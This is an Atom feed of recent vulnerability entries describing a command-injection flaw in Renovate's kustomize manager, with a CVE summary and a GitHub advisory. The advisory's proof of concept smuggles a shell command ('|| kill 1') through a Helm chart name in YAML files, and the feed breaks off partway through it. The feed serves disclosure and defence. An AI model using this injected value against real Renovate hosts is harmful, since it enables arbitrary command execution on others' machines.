<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-08T21:15:39.328249+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/cve-2026-76229</id>
    <title>CVE-2026-76229 — Renovate 39.218.0 before 40.33.0 Arbitrary Command Injection via kustomize</title>
    <updated>2026-10-08T21:15:40.192048+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> renovatebot renovate</p>
<p>Renovate versions from 39.218.0 before 40.33.0 contain an arbitrary command injection vulnerability in the kustomize manager where user-provided chart names are appended to helm pull commands without proper sanitization. Attackers with repository write access can craft malicious kustomization.yaml files with specially crafted chart names to execute arbitrary commands on the Renovate host machine.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/cve-2026-76229"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-xv56-3wq5-9997</id>
    <title>GHSA-xv56-3wq5-9997 — Renovate vulnerable to arbitrary command injection via kustomize manager and malicious helm repository</title>
    <updated>2026-10-08T21:15:40.192146+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: renovate</p>
<p>### Summary
The user-provided chart name in the `kustomize` manager is appended to the `helm pull --untar` command without proper sanitization.</p>
<p>### Details
Adversaries can provide a maliciously crafted `kustomization.yaml` in conjunction with a Helm repo's `index.yaml` file to trick Renovate to execute arbitrary code.
The value for the `depName` argument for the `helmRepositoryArgs` function in [lib/modules/manager/kustomize/artifacts.ts](https://github.com/renovatebot/renovate/blob/cc08c6e98f19e6258c5d3180c70c98e1be0b0d37/lib/modules/manager/kustomize/artifacts.ts#L33) is not being escaped using the `quote` function from the `shlex` package.
This lack of proper sanitization has been present in the product since version 39.218.9 (https://github.com/renovatebot/renovate/commit/cc08c6e98f19e6258c5d3180c70c98e1be0b0d37), released on March 26 of 2025.</p>
<p>### PoC
1. Create a mock Helm repository. Have its `index.yaml` endpoint return:
```yaml
apiVersion: v1
entries:
  "example || kill 1; echo":
    - version: 1.0.1
      created: 2016-10-06T16:23:20.499814565-06:00
    - version: 1.0.0
      created: 2016-10-06T16:23:20.499543808-06:00
```</p>
<p>2. Create a git repo with the following content:</p>
<p>`renovate.json5`:</p>
<p>```json5
{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  postUpdateOptions: [
    "kustomizeInflateHelmCharts",
  ]
}
```</p>
<p>`kustomization.yaml`:</p>
<p>```yaml
kind: Kustomization
apiVersion: kustomize.config.k8s.io/v1beta1
helmCharts:
  - name: "example || kill…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-xv56-3wq5-9997"/>
  </entry>
</feed>
